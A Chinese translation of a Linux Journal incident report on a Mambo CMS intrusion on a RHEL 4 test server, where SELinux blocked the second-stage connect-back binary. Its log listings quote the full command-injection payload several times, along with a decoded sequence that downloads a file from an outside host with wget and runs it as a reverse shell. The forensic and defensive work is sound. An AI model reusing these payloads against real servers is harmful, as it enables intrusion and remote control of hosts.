使用SELinux阻止Mambo攻击

Linux杂志发布了一篇有趣的文章, 使用SELinux阻止Mambo攻击, 作者是Richard Bullington-McGuire.

什么是Mambo? Mambo是一个用PHP开发的内容管理系统(CMS). 在某些地方, 病毒能够对系统进行攻击, 其中病毒就能顺利地破坏Richard的操作系统. 文章详细描述了如何使用SELinux发现和控制缺口.

文章还演示了SELinux的一个核心目标: 阻止恶意软件利用受病毒感染的软件来破坏系统. 在本实例中, 第三方的PHP应用程序能够对系统产生一定的负载, 但是这些负载可以控制, 将不会对系统进行任何破坏.

这篇文章对于计算机鉴识过程来说也非常具有参考价值.


原文标题及网址:
Mambo Exploit Blocked by SELinux
http://interactive.linuxjournal.com/article/9176f

下面是中文版本:

使用SELinux阻止Mambo攻击

一个真实的SELinux实例.

如果您管理着一台连接互连网的服务器, 您将有机会成功的组织一次攻击. 去年我发现, 尽管我在一台测试Web服务器(目标主机)上部署了多层防御, 但是最终攻击者还是通过使用攻击代码(部分)成功地获得了主机的访问权限. 该服务器运行的是Red Hat Enterprise 4(RHEL 4)企业版和Mambo内容管理系统. 服务器部署了多层防御, 包括安全性增强型版本的Linux(SElinux). SElinux可以有效阻止攻击者执行第二阶段的攻击, 可能阻止攻击者获得目标主机的root权限.

本文展示了一个学习入侵防御的实例, 解释了: 我是如何发现入侵, 我通过哪些步骤识别了攻击代码, 我是如何进行攻击修复, 我得到了系统安全方面的哪些教训. 由于隐私原因, 我修改了机器名和IP地址.

攻击过程中用到的计算机:

目标主机(targetbox): 192.168.166.155 我们的服务器, 运行RHEL 4和Mambo.
病毒主机(wormhole): 10.9.233.24 病毒攻击来源.
僵死web主机(zombieweb): 172.16.31.57 用来寄存攻击负载的Web主机.
cback主机(cbackbox): 10.200.238.39 第二阶段病毒攻击的目标.

防御您的系统

今天谨慎的系统管理员至少会使用一层的安全方法来防御他们的主机, 安全方法如, 使用防火墙, 自动补丁管理系统, 日志分析工具和SELinux. SELinux提供了额外的访问控制机制, 这在传统Unix安全模型中是没有的. 最近Red Hat Linux企业版和Fedora Core发行版已经包含了”SELinux目标策略”. 目的是降低程序运行的安全风险, 限制多个软件包中程序的权限, 确保程序能够正确操作. 我们可以通过限制特定文件或目录的”读, 写和执行权限”来阻止攻击.

发现入侵事件

大概在2006年5月6日星期六的早上8点, 我正在审计目标主机的日志, 在/var/log/messages文件中发现了一条SELinux强制消息:

May 4 07:52:27 targetbox kernel: audit(1146743547.060:2277):
avc: denied { execute_no_trans } for pid=9401 comm=”sh”
name=”cback” dev=dm-0 ino=852100
scontext=user_u:system_r:httpd_sys_script_t
tcontext=user_u:object_r:httpd_sys_script_rw_t tclass=file

尝试使用locate快速识别cback:

# locate cback
/tmp/cback
/usr/share/pixmaps/gnome-ccbackground.png
/usr/lib/libartscbackend.la
/usr/lib/libartscbackend.so.0.0.0
/usr/lib/libartscbackend.so.0

使用文件命令揭露cback执行程序的文件类型:

# file /tmp/cback
/tmp/cback: ELF 32-bit LSB executable, Intel 80386,
version 1 (SYSV), for GNU/Linux 2.2.0, dynamically
linked (uses shared libs), not stripped

用户apache拥有cback文件, 但是日期确显示的是在目标主机最初安装系统之前的几个月:

# ls -i /tmp/cback
852100 /tmp/cback
[root@targetbox ~]# ls -lZ /tmp/cback
-rwxr–r– apache apache
user_u:object_r:httpd_sys_script_rw_t /tmp/cback
[root@targetbox ~]# ls -lai /tmp/cback
852100 -rwxr–r– 1 apache apache 13901
Feb 15 2005 /tmp/cback

上面可以确认在审计消息中是cback是一个文件, 它有inode节点号852100.

如果locate没有发现文件, 我用find命令通过inode号找到了文件:

# find / -inum 852100 2>/dev/null
/tmp/cback

通过分析执行文件来寻找线索

清晰了脚本名称, 它的目的可能是充当回调程序. 因为apache用户拥有该文件, 我检查了Web服务器的日志文件, 看是否能找到任何线索.

因为攻击程序位于/tmp目录, 为了保护证据, 我保存了一份拷贝.

攻击程序似乎是使用sockets方法, 我们可以通过下面的字符串来判断(列表1).

列表1. 攻击负载字符串

# strings cback
/lib/ld-linux.so.2
libc.so.6
printf
connect
strerror
execl
dup2
sleep
socket
inet_addr
wait
fork
htons
__errno_location
exit
atoi
_IO_stdin_used
__libc_start_main
close
__gmon_start__
GLIBC_2.0
PTRh
[^_]
%s cannot create socket, retrying in 5 seconds
socket ok
error: %s
retting in 5 seconds
/bin/sh
fork error, retry in 5 seconds

我在Web服务器的日志文件中发现了很多可疑的请求, 一些使用了命令注射和wget来攻击Mambo程序, 还有一些攻击其它的内容管理系统. 我使用grep拷贝了文件中所有包含php或者wget的行, 然后把这些行放到/root/exploit.log文件. 列表2包含了许多最近攻击尝试的跟踪信息.

列表2. Web服务器访问日志的攻击跟踪

# grep 10.9.233.25 /root/exploit.log
/var/log/httpd/access_log:10.9.233.25 - -
[04/May/2006:07:52:21 -0400]
“GET
/index2.php?option=com_content&do_pdf=1&id=1index2.php
?_REQUEST[option]=com_content&_REQUEST[Itemid]
=1&GLOBALS=&mosConfig_absolute_path=
?&cmd=cd%20/tmp;
wget%20172.16.31.57/cback;chmod%20744%20cback;
./cback%2010.200.238.39%208080;echo%20YYY;echo|
HTTP/1.1″ 200 594 “-” “Mozilla/4.0 (compatible; MSIE 6.0;
Windows NT 5.1;)”
/var/log/httpd/access_log:10.9.233.25 - -
[04/May/2006:07:52:24 -0400]
“GET
/mambo/index2.php?_REQUEST[option]=com_content&_REQUEST
[Itemid]=1&GLOBALS=&mosConfig_absolute_path=
?&cmd=cd%20/tmp;
wget%20172.16.31.57/cback;chmod%20744%20cback;
./cback%2010.200.238.39%208080;echo%20YYY;echo|
HTTP/1.1″ 404 294 “-” “Mozilla/4.0 (compatible; MSIE 6.0;
Windows NT 5.1;)”
/var/log/httpd/access_log:10.9.233.25 - -
[04/May/2006:07:52:25 -0400]
“GET
/cvs/index2.php?_REQUEST[option]=com_content&_REQUEST
[Itemid]=1&GLOBALS=&mosConfig_absolute_path=
?&cmd=cd%20/tmp;
wget%20172.16.31.57/cback;chmod%20744%20cback;
./cback%2010.200.238.39%208080;echo%20YYY;echo|
HTTP/1.1″ 404 292 “-” “Mozilla/4.0 (compatible; MSIE 6.0;
Windows NT 5.1;)”
/var/log/httpd/access_log:10.9.233.25 - -
[04/May/2006:07:52:27 -0400]
“POST /xmlrpc.php HTTP/1.1″ 404 288 “-” “Mozilla/4.0
(compatible; MSIE 6.0; Windows NT 5.1;)”

日志文件包含了两个非常有用的线索; 它确认了cback二进制文件跟”发送到Mambo程序的请求”有关系. 更多的是, 查询字符串证实了攻击者使用了wget, 一个命令行的网址抓取工具, 这样一来可以从远程服务器获得攻击代码. Web服务请求尝试使用IP参数10.200.238.39来执行cback二进制程序, 估计攻击者控制了另外一台机器.

攻击尝试执行shell命令序列:

cd /tmp
wget 172.16.31.57/cback
chmod 744 cback
./cback 10.200.238.39 8080
echo YYY
echo| HTTP/1.1

返回到/var/log/messages文件, 我搜索了更多可疑的SELinux强制消息. 列表3包含了匹配的Web服务器攻击次数.

列表3. SELinux审计消息

May 4 07:52:24 targetbox kernel:
audit(1146743544.910:2275): avc:
denied { ioctl } for pid=9399 comm=”wget”
name=”error_log” dev=dm-0
ino=1624085 scontext=user_u:system_r:httpd_sys_script_t
tcontext=root:object_r:httpd_log_t tclass=file
May 4 07:52:24 targetbox
kernel: audit(1146743544.911:2276):
avc: denied { ioctl } for pid=9399
comm=”wget” name=”error_log” dev=dm-0 ino=1624085
scontext=user_u:system_r:httpd_sys_script_t
tcontext=root:object_r:httpd_log_t
tclass=file
May 4 07:52:27 targetbox kernel: audit(1146743547.060:2277):
avc: denied { execute_no_trans } for pid=9401 comm=”sh”
name=”cback” dev=dm-0 ino=852100
scontext=user_u:system_r:httpd_sys_script_t
tcontext=user_u:object_r:httpd_sys_script_rw
_t tclass=file

这显然是一个病毒, 因为www.pkrinternet.com同时(在另外一台机器, 但在同一个子网)也已经从10.9.233.25发送了请求, 看列表4.

列表4. 通过附近的服务器验证病毒的活动

$ grep 10.9.233.25 \
/var/log/httpd/www.pkrinternet.com-access_log
10.9.233.25 - - [04/May/2006:07:52:21 -0400]
“GET
/index2.php?option=com_content&do_pdf=1&id=
1index2.php?_REQUEST[option]=com_content&_REQUEST
[Itemid]=1&GLOBALS=&mosConfig_absolute_path=
?&cmd=cd%20/tmp;
wget%20172.16.31.57/cback;chmod%20744%20cback;
./cback%2010.200.238.39%208080;echo%20YYY;echo|
HTTP/1.1″ 404 290 “-” “Mozilla/4.0 (compatible; MSIE 6.0;
Windows NT 5.1;)”
10.9.233.25 - - [04/May/2006:07:52:21 -0400]
“GET
/index.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST
[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=
&mosConfig_absolute_path=
?&cmd=cd%20/tmp;
wget%20172.16.31.57/cback;chmod%20744%20cback;
./cback%2010.200.238.39%208080;echo%20YYY;echo|
HTTP/1.1″ 404 289 “-” “Mozilla/4.0 (compatible; MSIE 6.0;
Windows NT 5.1;)”
[ …output trimmed ]

上面显示了更多的攻击类型, 比如跟踪stockpot(类似Mambo的内容管理系统), xmlrpc.php, drupal和phpgroupware也出现在上面的grep结果中.

病毒只发送请求到指定的虚拟主机. 所以看起来病毒没有使用主机: 虚拟主机报头出现在请求当中. 这也意味着漏洞程序正在扫描同一子网, 而不是扫描大量的主机.

cback文件的修改时间是2005年2月5日. 这可能是wget从远程主机抓取文件的修改时间. wget通常会重置下载文件的修改时间, 从而与文件的最初修改时间匹配. 列表5显示了如何查询一个文件的所有时间戳.

列表5. 分析文件的时间戳
$ for x in atime access status use; do
> echo -n “$x “
> ls -l –time=$x /tmp/cback
> done
[rbulling@targetbox ~]$ for x in atime access status use mtime; do
> echo -n “$x ” ; ls -l –time=$x /tmp/cback
> done
atime -rwxr–r– 1 apache apache 13901 May 6 11:33 /tmp/cback
access -rwxr–r– 1 apache apache 13901 May 6 11:33 /tmp/cback
status -rwxr–r– 1 apache apache 13901 May 4 07:52 /tmp/cback
use -rwxr–r– 1 apache apache 13901 May 6 11:33 /tmp/cback

cback二进制文件大概创建于5月4日的下午07:52, 这与wget命令注射攻击的时间是吻合的. 这也是文件属性的最后一次修改. 虽然Unix不允许您获取一个文件的真实创建时间, 但状态时间可以知道文件的真实创建时间. 其它时间与我对cback文件进行最初的分析是相吻合的. 如果更加仔细点的话, 我可以在访问cback文件之前使用ls命令, 这样atime, access和use时间将会是攻击者的时间.

是什么引起了我的注意?

因为这看起来像是病毒正在攻击Mambo, 通过Google搜索关键字”mambo worm”, 您可以发现很多攻击参考信息, 包括ComputerWorks的文章,
F-Secure和Bugtraq(见资源栏目).

MITRE的Common Vulnerabilities and Exposures (CVE)项目提供了大多已知的漏洞. 所有的漏洞都有一个特征信息, 包括已确认问题的安全邮件列表和网站. 在cvw.mitre.org上搜索”mambo”, 然后会生成一些已发现的漏洞, 比如其中之一CVS-2005-3738有关mosConfig_absolute_path, 请求URL中的一个重要的变量.

当仔细阅读了最近有关Mambo的恶意软件活动后, 我发现攻击者大概会更加密切关注Net-Worm.Linux.Mare.d漏洞, 在很多新闻报道和漏洞数据库中都有描述. 然而, 一些攻击执行程序的名字(比如cback)在某些漏洞报告中名字有所不同.

安全预防和取证

为了尽可能安全地运行安全分析工具, 你需要在可信赖的连网主机(与生产网络断开)上来分析入侵. 这样一来, 任何存在的攻击程序将不会攻击网络中的其它机器, 而且入侵者也没有办法通过其它主机来截获您的分析信息. 在分析入侵的时候, 最好不要使用系统做其它的事情, 可能的话制做一张拯救盘. 虽然这些准备工作会消耗您的大多时间, 但是一旦问题出现, 你将能尽快恢复, 而且也可以有效的阻止问题的扩散.

最好是把整个磁盘的数据都拷贝到一个可移动的硬盘里面. 你可以使用下面的命令完成拷贝:

# dd if=/dev/hda1 of=/mnt/removable-drive/disk.img bs=512k

然后加载磁盘, 你可以使用loop设备方式来分析备份数据(参考资源栏目的”Linux磁盘镜像). 虽然分析原有的系统可以节省很多时间, 但是这样做会更加保险, 更方便于取证.

在理想的世界中, 你可能会在攻击成功后来做这些事情. 然而有时候你必须考虑的问题的严重程度, 平衡好您拥有的时间和资源.

解决攻击问题

入侵者进入到系统后很有可能去修改apache用户可以访问和修改的文件, 这可能包括Mambo的PHP配置文件(其中包括MySQL数据库的用户名和密码). 我修改了数据库密码, 以防止入侵者使用它获得更大的用户权限.

我很幸运, 因为这只是一次测试安装. 为了防止以后的攻击, 我彻底删除了Mamboo整个程序. 然后我尝试安装最新的软件.

当系统上用户的帐户被盗后, 你将会面临着风险: 攻击者随时可能会获取超级帐户root的密码. 如果攻击者得到了root帐户, 数据恢复将会变的越加困难. 很多时候, 你都需要重新安装操作系统(注意使用完整安全的系统安装来源), 有选择地审计和恢复软件配置. 获得root权限的攻击者通常会在您不经意的时候安装rootkit程序, 它能很好的隐藏自己. 而且能够提供远程控制后门或者其它的恶意功能. 不过您可以使用一个叫做chkrootkit的程序(见chkrootkit.org网站), 它能帮助扫描活动的rootkit程序. 列表6显示了在目标主机上以非显示方式运行chkrootkit的屏幕输出结果.

列表6. chkrootkit输出

# chkrootkit -q
/usr/lib/firefox-1.0.4/chrome/.reregchrome
/usr/lib/firefox-1.0.6/chrome/.reregchrome
/usr/lib/jvm/java-1.4.2-ibm-1.4.2.3/jre/.systemPrefs
/usr/lib/jvm/java-1.4.2-ibm-1.4.2.3/jre/.systemPrefs/
.system.lock
/usr/lib/jvm/java-1.4.2-ibm-1.4.2.3/jre/.systemPrefs/
.systemRootModFile
/usr/lib/firefox-1.0.8/chrome/.reregchrome
/usr/lib/firefox-1.0.7/chrome/.reregchrome
/usr/lib/perl5/5.8.5/i386-linux-thread-multi/.packlist
/usr/lib/perl5/vendor_perl/5.8.5/i386-linux-thread-multi/
auto/mod_perl/.packlist
/usr/lib/jvm/java-1.4.2-ibm-1.4.2.3/jre/.systemPrefs
INFECTED (PORTS: 465)

chkrootkit程序用于检查和分析磁盘上受感染的文件, rookits和病毒通常就寄生在这些文件的背后. chkrootkit能够对隐藏文件及恶意软件使用的服务端口进行警告. 上面快速的检查揭露了所有的隐藏文件, 列出的这些隐藏文件不会对系统造成丝毫影响. “INFECTED(已感染)警告465号端口是一个错误的提示, 因为计算机上运行的web服务器缺省都使用465端口提供https服务. 在本实例中, 分析chkrootkit输出没有揭露真正的rootkit问题. 但是当您知道攻击者已经突破了您的攻击防线, 运行chkrootkit能帮助你获得有用的额外信息, 甚至是检查结果没有提供任何确切的结果.

好消息

在攻击过程中, 如果服务器运行了SELinux并打开了目标策略. 审计日志中最初的警告信息都是存取拒绝消息. Web服务器的错误日志提供了更多详细的注射shell代码的输出信息, 包括wget会话和wget尝试运行产生的存取拒绝消息, 见列表7.

列表7. Web服务器错误日志: 显示攻击跟踪信息

[Thu May 04 07:52:24 2006] [error] [client 10.9.233.25]
File does not exist: /var/www/html/mambo
[client 10.9.233.25] PHP Warning:
main(http://ess.trix.net/therules.dat):
failed to open stream: HTTP
request failed! HTTP/1.1 404 Not Found\r\n in
?/includes/HTML_toolbar.php on line 13
[client 10.9.233.25] PHP Warning: main(): Failed opening
‘http://ess.trix.net/therules.dat’ for inclusion
(include_path=’.:/usr/share/pear’) in
?/includes/HTML_toolbar.php on line 13
[client 10.9.233.25] PHP Notice: Undefined variable: pro4 in
?/includes/HTML_toolbar.php on line 69
[ …output trimmed ]
[client 10.9.233.25] PHP Notice: Undefined variable:
SERVER_SOFTWARE in
?/includes/HTML_toolbar.php on line 112
[client 10.9.233.25] PHP Notice: Undefined variable:
SERVER_VERSION in
?/includes/HTML_toolbar.php on line 112
–07:52:24– http://172.16.31.57/cback
=> `cback’
Connecting to 172.16.31.57:80… connected.
HTTP request sent, awaiting response… [Thu May 04 07:52:25 2006]
[error] [client 10.9.233.25] File does not exist: /var/www/html/cvs
200 OK
Length: 13,901 (14K) [text/plain]
0K ………. … 100% 110.90
KB/s
07:52:27 (110.90 KB/s) - `cback’ saved [13901/13901]
sh: ./cback: Permission denied
[client 10.9.233.25] PHP Notice: Undefined variable: ch_msg in
?/includes/HTML_toolbar.php on line 202
[ …output trimmed…]
[client 10.9.233.25] PHP Fatal error: Cannot redeclare safemode()
(previously declared in
?/includes/HTML_toolbar.php:129) in
?/includes/footer.php on line 129

SELinux能够防止cback的执行, 在病毒第二阶段保护目标主机.

新的Mambo版本关闭了攻击者能够利用的漏洞, 所以我立即安装了新的Mambo版本.

经验教训

许多工具都需要分析攻击者是否已经控制了Linux操作系统的核心部分. 通过现代搜索引擎的强大搜索能力和对公众开放的漏洞信息, 你可以经常确定一个好的方案来防止恶意者的攻击.

在很多时候您在连网主机上测试安装源代码开放的程序, 这些程序被暴露在可以公开访问的连网计算机上. 而且测试安装程序通常都位于虚拟主机的Web服务器根目录下面, 这样为攻击者留下了后门.

许多基于PHP的系统在安装说明中都清楚的提示: 把软件解压缩到web服务器的根目录, 然后修改一些配置文件. 你不可能经常使用同样干净的操作系统安装PHP程序, 而且每一个安装都使用不同的PHP模版. 在安装Mamboo和攻击之间将会有11个月的时间, 在这其间我根本上不会更新软件.

建议定期使用yum或者apt-get更新Mambo程序. 当我开始分析Mambo的时候, 我没有发现它的RPM包. 虽然第三方的RPM包已经存在. 操作系统组织和软件作者需要通过更好的协作来提供基于web方式自动软件更新.

SELinux真的节省了我的时间, 而且可以防止攻击程序的运行. 如果没有SELinux的保护, 攻击者很有可能获得了主机的root权限, 我将需要花费更多的时间来分析和进行数据恢复.

资源

SELinux: www.nsa.gov/selinux

Mambo: www.mamboserver.com

Red Hat SELinux向导
http://www.redhat.com/docs/manua ... anual/selinux-guide

ComputerWorld上介绍Mambo病毒的文章:
http://www.computerworld.com/securitytopics/security/story/0,10801,108868,00.html?source=x73

Outpost24上介绍Mambo病毒的文章:
http://www.outpost24.com/ops/delta/FrameIndex.jsp…

F-Secure上的病毒报道:
http://www.f-secure.com/v-descs/mare_d.shtml

F-Secure上的Mambo漏洞报道:
http://archives.neohapsis.com/archives/bugtraq/2006-02/0463.html

CVE漏洞库: www.cve.mitre.org

CVE漏洞库中的Mambo报道:
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3738
Linux磁盘镜像
http://www.mega-tokyo.com/osfaq/Disk%20Images%20Under%20Linux

获取Mambo RPM软件包:
http://dag.wieers.com/packages/mambo

Richard Bullington-McGuire是PKR互连网络公司的管理合作伙伴, PKR位于美国维吉尼亚州的阿林顿市, 公司专注于Linux, 开源\和Java. Richard也创建了Obscure组织, 一个通过技术促进创造和社区的非赢利性组织. 他从1994年开始就是一名Linux的系统管理员. 你可以通过电邮rbulling@pkrinternet.com与Richard取得联系.


http://blog.zhaoke.com/137.html